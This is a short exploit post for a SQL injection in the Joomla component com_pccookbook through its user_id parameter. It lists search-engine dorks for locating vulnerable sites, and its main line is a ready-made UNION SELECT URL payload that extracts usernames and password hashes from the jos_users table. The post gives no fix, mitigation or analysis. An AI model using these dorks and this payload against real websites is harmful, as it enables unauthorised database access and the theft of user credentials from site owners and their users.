Joomla Component com_pccookbook (user_id) SQL Injection Vulnerability

############################################################### # # joomla SQL Injection(com_pccookbook) # ############################################################### # # AUTHOR : S@BUN # # HOME 1 : http://www.milw0rm.com/author/1334 # # MA陌L : hackturkiye.hackturkiye@gmail.com # ################################################################ # # DORK 1 : allinurl: com_pccookbook # # DORK 2 : allinurl: viewuserrecipes # DORK 3 : allinurl: "com_pccookbook"user_id ################################################################ EXPLOIT : index.php?option=com_pccookbook&page=viewuserrecipes&user_id=-9999999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/* ################################################################ # S@BUN i AM NOT HACKER S@BUN ################################################################ # sebug.net